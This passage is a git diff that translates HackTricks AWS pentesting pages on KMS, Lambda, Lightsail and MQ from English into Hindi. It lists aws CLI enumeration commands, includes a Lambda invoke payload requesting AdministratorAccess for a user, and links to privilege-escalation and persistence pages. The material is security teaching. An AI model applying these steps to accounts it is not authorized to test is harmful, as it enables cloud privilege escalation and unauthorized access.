encrypt data**. It's used by the service that created it in a region. They are created the first time you implement the encryption in that service. Rotates every 3 years and it's not possible to change it. -- **Customer manager CMKs**: Flexibility, rotation, configurable access and key policy. Enable and disable keys. +- **AWS प्रबंधित CMKs: अन्य सेवाओं द्वारा डेटा को एन्क्रिप्ट करने के लिए उपयोग किया जाता है**। इसका उपयोग उस सेवा द्वारा किया जाता है जिसने इसे एक क्षेत्र में बनाया। ये पहली बार तब बनाए जाते हैं जब आप उस सेवा में एन्क्रिप्शन लागू करते हैं। हर 3 साल में रोटेट होता है और इसे बदलना संभव नहीं है। +- **ग्राहक प्रबंधक CMKs**: लचीलापन, रोटेशन, कॉन्फ़िगर करने योग्य पहुंच और कुंजी नीति। कुंजियों को सक्षम और अक्षम करें। -**Envelope Encryption** in the context of Key Management Service (KMS): Two-tier hierarchy system to **encrypt data with data key and then encrypt data key with master key**. +**एनवेलप एन्क्रिप्शन** की संदर्भ में कुंजी प्रबंधन सेवा (KMS): **डेटा कुंजी के साथ डेटा को एन्क्रिप्ट करने और फिर मास्टर कुंजी के साथ डेटा कुंजी को एन्क्रिप्ट करने** के लिए दो-स्तरीय पदानुक्रम प्रणाली। -### Key Policies +### कुंजी नीतियाँ -These defines **who can use and access a key in KMS**. +ये **यह परिभाषित करती हैं कि KMS में कुंजी का उपयोग और पहुंच कौन कर सकता है**। -By **default:** +**डिफ़ॉल्ट रूप से:** -- It gives the **IAM of the** **AWS account that owns the KMS key access** to manage the access to the KMS key via IAM. +- यह **KMS कुंजी के मालिक AWS खाते के IAM को KMS कुंजी तक पहुंच प्रबंधित करने** की अनुमति देता है। - Unlike other AWS resource policies, a AWS **KMS key policy does not automatically give permission any of the principals of the account**. To give permission to account administrators, the **key policy must include an explicit statement** that provides this permission, like this one. +अन्य AWS संसाधन नीतियों के विपरीत, AWS **KMS कुंजी नीति स्वचालित रूप से खाते के किसी भी प्रमुख को अनुमति नहीं देती है**। खाता प्रशासकों को अनुमति देने के लिए, **कुंजी नीति में एक स्पष्ट कथन शामिल होना चाहिए** जो इस अनुमति को प्रदान करता है, जैसे कि यह। - - Without allowing the account(`"AWS": "arn:aws:iam::111122223333:root"`) IAM permissions won't work. +- बिना खाते को अनुमति दिए (`"AWS": "arn:aws:iam::111122223333:root"`) IAM अनुमतियाँ काम नहीं करेंगी। -- It **allows the account to use IAM policies** to allow access to the KMS key, in addition to the key policy. +- यह **IAM नीतियों का उपयोग करने के लिए खाते को KMS कुंजी तक पहुंच की अनुमति देता है**, इसके अलावा कुंजी नीति के। - **Without this permission, IAM policies that allow access to the key are ineffective**, although IAM policies that deny access to the key are still effective. +**इस अनुमति के बिना, कुंजी तक पहुंच की अनुमति देने वाली IAM नीतियाँ अप्रभावी हैं**, हालाँकि कुंजी तक पहुंच को अस्वीकार करने वाली IAM नीतियाँ अभी भी प्रभावी हैं। -- It **reduces the risk of the key becoming unmanageable** by giving access control permission to the account administrators, including the account root user, which cannot be deleted. - -**Default policy** example: +- यह **कुंजी के अप्रबंधनीय होने के जोखिम को कम करता है** द्वारा खाता प्रशासकों, जिसमें खाता रूट उपयोगकर्ता शामिल है, को पहुंच नियंत्रण अनुमति देकर, जिसे हटाया नहीं जा सकता। +**डिफ़ॉल्ट नीति** उदाहरण: ```json { - "Sid": "Enable IAM policies", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::111122223333:root" - }, - "Action": "kms:*", - "Resource": "*" +"Sid": "Enable IAM policies", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::111122223333:root" +}, +"Action": "kms:*", +"Resource": "*" } ``` - > [!WARNING] -> If the **account is allowed** (`"arn:aws:iam::111122223333:root"`) a **principal** from the account **will still need IAM permissions** to use the KMS key. However, if the **ARN** of a role for example is **specifically allowed** in the **Key Policy**, that role **doesn't need IAM permissions**. +> यदि **खाता अनुमति दी गई है** (`"arn:aws:iam::111122223333:root"`) तो **खाते से एक प्रिंसिपल** को KMS कुंजी का उपयोग करने के लिए **IAM अनुमतियों** की आवश्यकता होगी। हालाँकि, यदि किसी भूमिका का **ARN** उदाहरण के लिए **विशेष रूप से अनुमति दी गई है** **कुंजी नीति** में, तो उस भूमिका को **IAM अनुमतियों** की आवश्यकता नहीं है।
-Policy Details +नीति विवरण -Properties of a policy: +नीति के गुण: -- JSON based document -- Resource --> Affected resources (can be "\*") -- Action --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (permissions) -- Effect --> Allow/Deny -- Principal --> arn affected -- Conditions (optional) --> Condition to give the permissions +- JSON आधारित दस्तावेज़ +- संसाधन --> प्रभावित संसाधन (हो सकता है "\*") +- क्रिया --> kms:Encrypt, kms:Decrypt, kms:CreateGrant ... (अनुमतियाँ) +- प्रभाव --> अनुमति/अस्वीकृति +- प्रिंसिपल --> प्रभावित arn +- शर्तें (वैकल्पिक) --> अनुमतियाँ देने के लिए शर्त -Grants: +अनुदान: -- Allow to delegate your permissions to another AWS principal within your AWS account. You need to create them using the AWS KMS APIs. It can be indicated the CMK identifier, the grantee principal and the required level of opoeration (Decrypt, Encrypt, GenerateDataKey...) -- After the grant is created a GrantToken and a GratID are issued +- अपने अनुमतियों को अपने AWS खाते के भीतर किसी अन्य AWS प्रिंसिपल को सौंपने की अनुमति देता है। आपको उन्हें AWS KMS APIs का उपयोग करके बनाना होगा। इसमें CMK पहचानकर्ता, अनुदान प्राप्त करने वाला प्रिंसिपल और आवश्यक संचालन का स्तर (Decrypt, Encrypt, GenerateDataKey...) निर्दिष्ट किया जा सकता है। +- अनुदान बनाने के बाद एक GrantToken और एक GrantID जारी किया जाता है। -**Access**: +**पहुँच**: -- Via **key policy** -- If this exist, this takes **precedent** over the IAM policy -- Via **IAM policy** -- Via **grants** +- **कुंजी नीति** के माध्यम से -- यदि यह मौजूद है, तो यह IAM नीति पर **प्राथमिकता** लेता है। +- **IAM नीति** के माध्यम से +- **अनुदानों** के माध्यम से
-### Key Administrators +### कुंजी प्रशासक -Key administrator by default: +डिफ़ॉल्ट रूप से कुंजी प्रशासक: -- Have access to manage KMS but not to encrypt or decrypt data -- Only IAM users and roles can be added to Key Administrators list (not groups) -- If external CMK is used, Key Administrators have the permission to import key material +- KMS प्रबंधित करने के लिए पहुँच रखते हैं लेकिन डेटा को एन्क्रिप्ट या डिक्रिप्ट करने के लिए नहीं। +- केवल IAM उपयोगकर्ताओं और भूमिकाओं को कुंजी प्रशासकों की सूची में जोड़ा जा सकता है (समूह नहीं)। +- यदि बाहरी CMK का उपयोग किया जाता है, तो कुंजी प्रशासकों को कुंजी सामग्री आयात करने की अनुमति होती है। -### Rotation of CMKs +### CMKs का रोटेशन -- The longer the same key is left in place, the more data is encrypted with that key, and if that key is breached, then the wider the blast area of data is at risk. In addition to this, the longer the key is active, the probability of it being breached increases. -- **KMS rotate customer keys every 365 days** (or you can perform the process manually whenever you want) and **keys managed by AWS every 3 years** and this time it cannot be changed. -- **Older keys are retained** to decrypt data that was encrypted prior to the rotation -- In a break, rotating the key won't remove the threat as it will be possible to decrypt all the data encrypted with the compromised key. However, the **new data will be encrypted with the new key**. -- If **CMK** is in state of **disabled** or **pending** **deletion**, KMS will **not perform a key rotation** until the CMK is re-enabled or deletion is cancelled. +- जितना अधिक समय एक ही कुंजी को रखा जाता है, उतना अधिक डेटा उस कुंजी के साथ एन्क्रिप्ट किया जाता है, और यदि वह कुंजी भंग हो जाती है, तो डेटा का विस्फोट क्षेत्र उतना ही बड़ा होता है। इसके अलावा, जितना अधिक समय कुंजी सक्रिय रहती है, उसके भंग होने की संभावना बढ़ती है। +- **KMS हर 365 दिनों में ग्राहक कुंजी को घुमाता है** (या आप जब चाहें प्रक्रिया को मैन्युअल रूप से कर सकते हैं) और **AWS द्वारा प्रबंधित कुंजी हर 3 वर्षों में** होती है और इस बार इसे नहीं बदला जा सकता। +- **पुरानी कुंजियाँ रखी जाती हैं** ताकि डेटा को डिक्रिप्ट किया जा सके जो रोटेशन से पहले एन्क्रिप्ट किया गया था। +- एक ब्रेक में, कुंजी को घुमाने से खतरा समाप्त नहीं होगा क्योंकि यह सभी डेटा को डिक्रिप्ट करना संभव होगा जो समझौता की गई कुंजी के साथ एन्क्रिप्ट किया गया था। हालाँकि, **नया डेटा नई कुंजी के साथ एन्क्रिप्ट किया जाएगा**। +- यदि **CMK** **अक्षम** या **हटाने के लिए लंबित** स्थिति में है, तो KMS **कुंजी रोटेशन** नहीं करेगा जब तक कि CMK को फिर से सक्षम नहीं किया जाता या हटाने को रद्द नहीं किया जाता। -#### Manual rotation +#### मैन्युअल रोटेशन -- A **new CMK needs to be created**, then, a new CMK-ID is created, so you will need to **update** any **application** to **reference** the new CMK-ID. -- To do this process easier you can **use aliases to refer to a key-id** and then just update the key the alias is referring to. -- You need to **keep old keys to decrypt old files** encrypted with it. +- एक **नई CMK बनानी होगी**, फिर, एक नई CMK-ID बनाई जाती है, इसलिए आपको **कोई भी आवेदन** को **नए CMK-ID** का **संदर्भ** देने के लिए **अपडेट** करना होगा। +- इस प्रक्रिया को आसान बनाने के लिए आप **कुंजी-आईडी का संदर्भ देने के लिए उपनामों का उपयोग कर सकते हैं** और फिर केवल उस कुंजी को अपडेट करें जिसका उपनाम संदर्भित कर रहा है। +- आपको **पुरानी कुंजियाँ रखनी होंगी** ताकि पुराने फ़ाइलों को डिक्रिप्ट किया जा सके जो इसके साथ एन्क्रिप्ट की गई थीं। -You can import keys from your on-premises key infrastructure . +आप अपने ऑन-प्रिमाइसेस कुंजी अवसंरचना से कुंजियाँ आयात कर सकते हैं। -### Other relevant KMS information +### अन्य प्रासंगिक KMS जानकारी -KMS is priced per number of encryption/decryption requests received from all services per month. +KMS की कीमत सभी सेवाओं से प्राप्त एन्क्रिप्शन/डिक्रिप्शन अनुरोधों की संख्या के आधार पर होती है। -KMS has full audit and compliance **integration with CloudTrail**; this is where you can audit all changes performed on KMS. +KMS में पूर्ण ऑडिट और अनुपालन **CloudTrail के साथ एकीकरण** है; यहीं आप KMS पर किए गए सभी परिवर्तनों का ऑडिट कर सकते हैं। -With KMS policy you can do the following: +KMS नीति के साथ आप निम्नलिखित कर सकते हैं: -- Limit who can create data keys and which services have access to use these keys -- Limit systems access to encrypt only, decrypt only or both -- Define to enable systems to access keys across regions (although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions). +- यह सीमित करें कि कौन डेटा कुंजी बना सकता है और कौन सी सेवाएँ इन कुंजियों का उपयोग करने के लिए पहुँच रखती हैं। +- सिस्टम की पहुँच को केवल एन्क्रिप्ट करने, केवल डिक्रिप्ट करने या दोनों तक सीमित करें। +- यह परिभाषित करें कि सिस्टम को क्षेत्रों के बीच कुंजियों तक पहुँचने की अनुमति दी जाए (हालाँकि यह अनुशंसित नहीं है क्योंकि KMS को होस्ट करने वाले क्षेत्र में विफलता अन्य क्षेत्रों में सिस्टम की उपलब्धता को प्रभावित करेगी)। -You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region. - -### Enumeration +आप क्षेत्रों के बीच कुंजियों को समन्वयित या स्थानांतरित/कॉपी नहीं कर सकते; आप केवल क्षेत्र के बीच पहुँच की अनुमति देने के लिए नियम परिभाषित कर सकते हैं। +### गणना ```bash aws kms list-keys aws kms list-key-policies --key-id @@ -132,31 +129,26 @@ aws kms describe-key --key-id aws kms get-key-policy --key-id --policy-name # Default policy name is "default" aws kms describe-custom-key-stores ``` - -### Privesc +### प्रिवेस्क {{#ref}} ../aws-privilege-escalation/aws-kms-privesc.md {{#endref}} -### Post Exploitation +### पोस्ट एक्सप्लोइटेशन {{#ref}} ../aws-post-exploitation/aws-kms-post-exploitation.md {{#endref}} -### Persistence +### पर्सिस्टेंस {{#ref}} ../aws-persistence/aws-kms-persistence.md {{#endref}} -## References +## संदर्भ - [https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html](https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 03fa1aac8..584ca97ab 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -4,59 +4,58 @@ ## Lambda -Amazon Web Services (AWS) Lambda is described as a **compute service** that enables the execution of code without the necessity for server provision or management. It is characterized by its ability to **automatically handle resource allocation** needed for code execution, ensuring features like high availability, scalability, and security. A significant aspect of Lambda is its pricing model, where **charges are based solely on the compute time utilized**, eliminating the need for initial investments or long-term obligations. +Amazon Web Services (AWS) Lambda को एक **compute service** के रूप में वर्णित किया गया है जो कोड को सर्वर प्रावधान या प्रबंधन की आवश्यकता के बिना निष्पादित करने की अनुमति देता है। यह **कोड निष्पादन** के लिए आवश्यक संसाधन आवंटन को **स्वचालित रूप से संभालने** की क्षमता के लिए जाना जाता है, जो उच्च उपलब्धता, स्केलेबिलिटी और सुरक्षा जैसी सुविधाओं को सुनिश्चित करता है। Lambda का एक महत्वपूर्ण पहलू इसका मूल्य निर्धारण मॉडल है, जहां **शुल्क केवल उपयोग किए गए कंप्यूट समय पर आधारित होते हैं**, प्रारंभिक निवेश या दीर्घकालिक प्रतिबद्धताओं की आवश्यकता को समाप्त करता है। -To call a lambda it's possible to call it as **frequently as you wants** (with Cloudwatch), **expose** an **URL** endpoint and call it, call it via **API Gateway** or even based on **events** such as **changes** to data in a **S3** bucket or updates to a **DynamoDB** table. +एक लैम्ब्डा को कॉल करने के लिए इसे **जितनी बार चाहें** (Cloudwatch के साथ), **एक URL** एंडपॉइंट के माध्यम से एक्सपोज़ करके, **API Gateway** के माध्यम से या यहां तक कि **S3** बकेट में डेटा में **परिवर्तनों** या **DynamoDB** तालिका में अपडेट के आधार पर कॉल किया जा सकता है। -The **code** of a lambda is stored in **`/var/task`**. +एक लैम्ब्डा का **कोड** **`/var/task`** में संग्रहीत होता है। ### Lambda Aliases Weights -A Lambda can have **several versions**.\ -And it can have **more than 1** version exposed via **aliases**. The **weights** of **each** of the **versions** exposed inside and alias will decide **which alias receive the invocation** (it can be 90%-10% for example).\ -If the code of **one** of the aliases is **vulnerable** you can send **requests until the vulnerable** versions receives the exploit. +एक Lambda के पास **कई संस्करण** हो सकते हैं।\ +और इसके पास **एक से अधिक** संस्करण हो सकते हैं जो **aliases** के माध्यम से एक्सपोज़ किए जाते हैं। **हर** **संस्करण** के **वजन** जो एक alias के अंदर एक्सपोज़ किए जाते हैं, यह तय करेंगे कि **कौन सा alias कॉल प्राप्त करता है** (यह उदाहरण के लिए 90%-10% हो सकता है)।\ +यदि **एक** alias का कोड **कमजोर** है, तो आप **अनुरोध भेज सकते हैं जब तक कमजोर** संस्करण को एक्सप्लॉइट प्राप्त नहीं होता। ![](<../../../images/image (223).png>) ### Resource Policies -Lambda resource policies allow to **give access to other services/accounts to invoke** the lambda for example.\ -For example this is the policy to allow **anyone to access a lambda exposed via URL**: +Lambda संसाधन नीतियाँ अन्य सेवाओं/खातों को लैम्ब्डा को कॉल करने के लिए **पहुँच देने** की अनुमति देती हैं।\ +उदाहरण के लिए, यह नीति है जो **किसी को भी URL के माध्यम से एक्सपोज़ किए गए लैम्ब्डा तक पहुँचने** की अनुमति देती है:
-Or this to allow an API Gateway to invoke it: +या यह API Gateway को इसे कॉल करने की अनुमति देने के लिए:
### Lambda Database Proxies -When there are **hundreds** of **concurrent lambda requests**, if each of them need to **connect and close a connection to a database**, it's just not going to work (lambdas are stateless, cannot maintain connections open).\ -Then, if your **Lambda functions interact with RDS Proxy instead** of your database instance. It handles the connection pooling necessary for scaling many simultaneous connections created by concurrent Lambda functions. This allows your Lambda applications to **reuse existing connections**, rather than creating new connections for every function invocation. +जब **सैकड़ों** **समानांतर लैम्ब्डा अनुरोध** होते हैं, यदि प्रत्येक को **डेटाबेस से कनेक्ट और कनेक्शन बंद करने** की आवश्यकता होती है, तो यह काम नहीं करेगा (लैम्ब्डा स्टेटलेस होते हैं, कनेक्शन को खुला नहीं रख सकते)।\ +फिर, यदि आपके **Lambda कार्य RDS Proxy के साथ इंटरैक्ट करते हैं** आपके डेटाबेस इंस्टेंस के बजाय। यह समानांतर Lambda कार्यों द्वारा बनाए गए कई समवर्ती कनेक्शनों के लिए आवश्यक कनेक्शन पूलिंग को संभालता है। यह आपके Lambda अनुप्रयोगों को **मौजूदा कनेक्शनों का पुन: उपयोग** करने की अनुमति देता है, बजाय इसके कि हर कार्य कॉल के लिए नए कनेक्शन बनाए। ### Lambda EFS Filesystems -To preserve and even share data **Lambdas can access EFS and mount them**, so Lambda will be able to read and write from it. +डेटा को संरक्षित और साझा करने के लिए **Lambdas EFS तक पहुँच सकते हैं और उन्हें माउंट कर सकते हैं**, ताकि Lambda इसे पढ़ और लिख सके। ### Lambda Layers -A Lambda _layer_ is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files. +एक Lambda _layer_ एक .zip फ़ाइल संग्रह है जो **अतिरिक्त कोड** या अन्य सामग्री को **शामिल कर सकता है**। एक लेयर में पुस्तकालय, एक [कस्टम रनटाइम](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), डेटा, या कॉन्फ़िगरेशन फ़ाइलें हो सकती हैं। -It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment. +प्रत्येक फ़ंक्शन में **पाँच लेयर** तक शामिल करना संभव है। जब आप किसी फ़ंक्शन में एक लेयर शामिल करते हैं, तो **सामग्री को `/opt`** निर्देशिका में निष्पादन वातावरण में निकाला जाता है। -By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version. +**डिफ़ॉल्ट** के रूप में, आप जो **लेयर** बनाते हैं वे आपके AWS खाते के लिए **निजी** होती हैं। आप एक लेयर को अन्य खातों के साथ **शेयर** करने या लेयर को **सार्वजनिक** बनाने का विकल्प चुन सकते हैं। यदि आपके फ़ंक्शन एक लेयर का उपभोग करते हैं जिसे एक अलग खाते ने प्रकाशित किया है, तो आपके फ़ंक्शन **लेयर संस्करण का उपयोग जारी रख सकते हैं** जब इसे हटा दिया गया हो, या जब आपकी लेयर तक पहुँचने की अनुमति रद्द कर दी गई हो। हालाँकि, आप एक नई फ़ंक्शन नहीं बना सकते या हटाए गए लेयर संस्करण का उपयोग करते हुए फ़ंक्शंस को अपडेट नहीं कर सकते। -Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image. +कंटेनर छवि के रूप में तैनात फ़ंक्शन लेयर का उपयोग नहीं करते हैं। इसके बजाय, आप छवि बनाने के समय अपने पसंदीदा रनटाइम, पुस्तकालयों और अन्य निर्भरताओं को कंटेनर छवि में पैकेज करते हैं। ### Lambda Extensions -Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**. +Lambda एक्सटेंशन कार्यों को विभिन्न **निगरानी, अवलोकन, सुरक्षा, और शासन उपकरणों** के साथ एकीकृत करके कार्यों को बढ़ाते हैं। ये एक्सटेंशन [.zip संग्रह का उपयोग करके Lambda लेयर्स](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) के माध्यम से जोड़े जाते हैं या [कंटेनर छवि तैनाती में शामिल होते हैं](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), दो मोड में कार्य करते हैं: **आंतरिक** और **बाहरी**। -- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**. -- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**. +- **आंतरिक एक्सटेंशन** रनटाइम प्रक्रिया के साथ विलीन होते हैं, इसके स्टार्टअप को **भाषा-विशिष्ट पर्यावरण चर** और **रैपर स्क्रिप्ट** का उपयोग करके संशोधित करते हैं। यह अनुकूलन कई रनटाइम्स पर लागू होता है, जिसमें **Java Correto 8 और 11, Node.js 10 और 12, और .NET Core 3.1** शामिल हैं। +- **बाहरी एक्सटेंशन** अलग प्रक्रियाओं के रूप में चलते हैं, Lambda फ़ंक्शन के जीवन चक्र के साथ संचालन संरेखण बनाए रखते हैं। वे विभिन्न रनटाइम्स के साथ संगत होते हैं जैसे **Node.js 10 और 12, Python 3.7 और 3.8, Ruby 2.5 और 2.7, Java Corretto 8 और 11, .NET Core 3.1**, और **कस्टम रनटाइम**। ### Enumeration - ```bash aws lambda get-account-settings @@ -93,11 +92,9 @@ aws lambda list-event-source-mappings aws lambda list-code-signing-configs aws lambda list-functions-by-code-signing-config --code-signing-config-arn ``` +### एक लैम्ब्डा को सक्रिय करें -### Invoke a lambda - -#### Manual - +#### मैनुअल ```bash # Invoke function aws lambda invoke --function-name FUNCTION_NAME /tmp/out @@ -106,83 +103,70 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out ## user_name = event['user_name'] aws lambda invoke --function-name --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt ``` - -#### Via exposed URL - +#### उजागर URL के माध्यम से ```bash aws lambda list-function-url-configs --function-name #Get lambda URL aws lambda get-function-url-config --function-name #Get lambda URL ``` - #### Call Lambda function via URL -Now it's time to find out possible lambda functions to execute: - +अब संभावित लैम्ब्डा फ़ंक्शंस को निष्पादित करने का समय है: ``` aws --region us-west-2 --profile level6 lambda list-functions ``` - ![](<../../../images/image (262).png>) -A lambda function called "Level6" is available. Lets find out how to call it: - +एक लैम्ब्डा फ़ंक्शन "Level6" उपलब्ध है। चलिए इसे कॉल करने का तरीका खोजते हैं: ```bash aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` - ![](<../../../images/image (102).png>) -Now, that you know the name and the ID you can get the Name: - +अब, जब आप नाम और आईडी जानते हैं, तो आप नाम प्राप्त कर सकते हैं: ```bash aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" ``` - ![](<../../../images/image (237).png>) -And finally call the function accessing (notice that the ID, Name and function-name appears in the URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) +और अंत में फ़ंक्शन को कॉल करें (ध्यान दें कि ID, Name और function-name URL में दिखाई देते हैं): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6) `URL:`**`https://.execute-api..amazonaws.com//`** -#### Other Triggers +#### अन्य ट्रिगर्स -There are a lot of other sources that can trigger a lambda +बहुत सारे अन्य स्रोत हैं जो एक लैम्ब्डा को ट्रिगर कर सकते हैं
-### Privesc +### प्रिवेस्क -In the following page you can check how to **abuse Lambda permissions to escalate privileges**: +अगली पृष्ठ पर आप देख सकते हैं कि **Lambda अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: {{#ref}} ../aws-privilege-escalation/aws-lambda-privesc.md {{#endref}} -### Unauthenticated Access +### अनधिकृत पहुंच {{#ref}} ../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md {{#endref}} -### Post Exploitation +### पोस्ट एक्सप्लोइटेशन {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/ {{#endref}} -### Persistence +### स्थिरता {{#ref}} ../aws-persistence/aws-lambda-persistence/ {{#endref}} -## References +## संदर्भ - [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer) - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 9f5ccb1ab..200a0397e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,11 +4,10 @@ ## AWS - Lightsail -Amazon Lightsail provides an **easy**, lightweight way for new cloud users to take advantage of AWS’ cloud computing services. It allows you to deploy common and custom web services in seconds via **VMs** (**EC2**) and **containers**.\ -It's a **minimal EC2 + Route53 + ECS**. +Amazon Lightsail एक **आसान**, हल्का तरीका प्रदान करता है ताकि नए क्लाउड उपयोगकर्ता AWS के क्लाउड कंप्यूटिंग सेवाओं का लाभ उठा सकें। यह आपको **VMs** (**EC2**) और **containers** के माध्यम से सेकंडों में सामान्य और कस्टम वेब सेवाओं को तैनात करने की अनुमति देता है।\ +यह एक **न्यूनतम EC2 + Route53 + ECS** है। ### Enumeration - ```bash # Instances aws lightsail get-instances #Get all @@ -29,35 +28,30 @@ aws lightsail get-load-balancers aws lightsail get-static-ips aws lightsail get-key-pairs ``` +### स्नैपशॉट का विश्लेषण -### Analyse Snapshots +**लाइटसेल से इंस्टेंस और रिलेशनल डेटाबेस स्नैपशॉट उत्पन्न करना संभव है**। इसलिए आप उन्हें उसी तरह जांच सकते हैं जैसे आप [**EC2 स्नैपशॉट**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) और [**RDS स्नैपशॉट**](aws-relational-database-rds-enum.md#enumeration) की जांच करते हैं। -It's possible to generate **instance and relational database snapshots from lightsail**. Therefore you can check those the same way you can check [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) and [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration). +### मेटाडेटा -### Metadata +**मेटाडेटा एंडपॉइंट लाइटसेल से सुलभ है**, लेकिन मशीनें **AWS द्वारा प्रबंधित AWS खाते में चल रही हैं** इसलिए आप **कौन सी अनुमतियाँ दी जा रही हैं** उसे नियंत्रित नहीं करते। हालाँकि, यदि आप उन पर शोषण करने का कोई तरीका खोजते हैं, तो आप सीधे AWS का शोषण कर रहे होंगे। -**Metadata endpoint is accessible from lightsail**, but the machines are running in an **AWS account managed by AWS** so you don't control **what permissions are being granted**. However, if you find a way to exploit those you would be directly exploiting AWS. - -### Privesc +### प्रिवेस्क {{#ref}} ../aws-privilege-escalation/aws-lightsail-privesc.md {{#endref}} -### Post Exploitation +### पोस्ट शोषण {{#ref}} ../aws-post-exploitation/aws-lightsail-post-exploitation.md {{#endref}} -### Persistence +### स्थिरता {{#ref}} ../aws-persistence/aws-lightsail-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 8504db545..a5c2c4f94 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -4,28 +4,27 @@ ## Amazon MQ -### Introduction to Message Brokers +### Message Brokers का परिचय -**Message brokers** serve as intermediaries, facilitating communication between different software systems, which may be built on varied platforms and programmed in different languages. **Amazon MQ** simplifies the deployment, operation, and maintenance of message brokers on AWS. It provides managed services for **Apache ActiveMQ** and **RabbitMQ**, ensuring seamless provisioning and automatic software version updates. +**Message brokers** मध्यस्थ के रूप में कार्य करते हैं, विभिन्न सॉफ़्टवेयर सिस्टम के बीच संचार को सुविधाजनक बनाते हैं, जो विभिन्न प्लेटफार्मों पर बनाए जा सकते हैं और विभिन्न भाषाओं में प्रोग्राम किए जा सकते हैं। **Amazon MQ** AWS पर संदेश ब्रोकर के तैनाती, संचालन और रखरखाव को सरल बनाता है। यह **Apache ActiveMQ** और **RabbitMQ** के लिए प्रबंधित सेवाएँ प्रदान करता है, जो निर्बाध प्रावधान और स्वचालित सॉफ़्टवेयर संस्करण अपडेट सुनिश्चित करता है। ### AWS - RabbitMQ -RabbitMQ is a prominent **message-queueing software**, also known as a _message broker_ or _queue manager_. It's fundamentally a system where queues are configured. Applications interface with these queues to **send and receive messages**. Messages in this context can carry a variety of information, ranging from commands to initiate processes on other applications (potentially on different servers) to simple text messages. The messages are held by the queue-manager software until they are retrieved and processed by a receiving application. AWS provides an easy-to-use solution for hosting and managing RabbitMQ servers. +RabbitMQ एक प्रमुख **message-queueing software** है, जिसे _message broker_ या _queue manager_ के रूप में भी जाना जाता है। यह मूल रूप से एक प्रणाली है जहाँ कतारें कॉन्फ़िगर की जाती हैं। अनुप्रयोग इन कतारों के साथ इंटरफ़ेस करते हैं ताकि **संदेश भेजें और प्राप्त करें**। इस संदर्भ में संदेश विभिन्न प्रकार की जानकारी ले जा सकते हैं, जैसे अन्य अनुप्रयोगों (संभवतः विभिन्न सर्वरों पर) पर प्रक्रियाएँ आरंभ करने के लिए आदेश से लेकर सरल पाठ संदेश तक। संदेशों को प्राप्त करने वाले अनुप्रयोग द्वारा पुनः प्राप्त और संसाधित किए जाने तक 